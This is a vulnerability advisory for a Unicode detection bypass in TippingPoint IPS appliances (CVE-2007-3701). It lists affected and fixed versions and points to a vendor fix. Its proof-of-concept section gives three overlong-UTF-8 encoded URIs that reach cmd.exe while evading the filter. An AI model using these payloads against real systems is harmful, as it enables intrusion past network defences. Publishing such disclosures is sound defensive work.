TippingPoint IPS Unicode Character Detection Bypass Vulnerability

BID:24855

Info

TippingPoint IPS Unicode Character Detection Bypass Vulnerability

Bugtraq ID: 24855
Class: Input Validation Error
CVE: CVE-2007-3701
Remote: Yes
Local: No
Published: Jul 10 2007 12:00AM
Updated: May 07 2015 05:37PM
Credit: Security-Assessment is credited with discovering this vulnerability.
Vulnerable: TippingPoint ZPHA 0
TippingPoint X506 0
TippingPoint X505 0
TippingPoint SMS 0
TippingPoint 600E 0
TippingPoint 5000E 0
TippingPoint 50 0
TippingPoint 400 0
TippingPoint 2400E 0
TippingPoint 200E 0
TippingPoint 200 0
TippingPoint 1200E 0
TippingPoint 1200 0
3Com TippingPoint IPS TOS 2.5.1
3Com TippingPoint IPS TOS 2.5
3Com TippingPoint IPS TOS 2.2.4
3Com TippingPoint IPS TOS 2.2.3
3Com TippingPoint IPS TOS 2.2.2
3Com TippingPoint IPS TOS 2.2.1 .6506
3Com TippingPoint IPS TOS 2.2.1
3Com TippingPoint IPS TOS 2.2
3Com TippingPoint IPS TOS 2.1.4 .6324
3Com TippingPoint IPS TOS 2.1
3Com TippingPoint IPS TOS 0
3Com TippingPoint IPS 0
Not Vulnerable: 3Com TippingPoint IPS TOS 2.5.2
3Com TippingPoint IPS TOS 2.2.5

Discussion

TippingPoint IPS Unicode Character Detection Bypass Vulnerability

TippingPoint IPS is prone to a detection-bypass vulnerability because the appliance fails to properly handle Unicode characters.

A successful exploit of this issue may allow an attacker to bypass the filter and detection system of vulnerable appliances, allowing malicious URI traffic through. This will likely aid the attacker in further attacks.

Exploit / POC

TippingPoint IPS Unicode Character Detection Bypass Vulnerability

The following proof-of-concept URIs are available:

http://www.example.com/scripts%c0%afcmd.exe
http://www.example.com/scripts%e0%80%afcmd.exe
http://www.example.com/scripts%c1%9ccmd.exe

Solution / Fix

TippingPoint IPS Unicode Character Detection Bypass Vulnerability

Solution:
The vendor has released updates to address this issue. Please contact the vendor for details on obtaining and applying the appropriate updates.

References

TippingPoint IPS Unicode Character Detection Bypass Vulnerability

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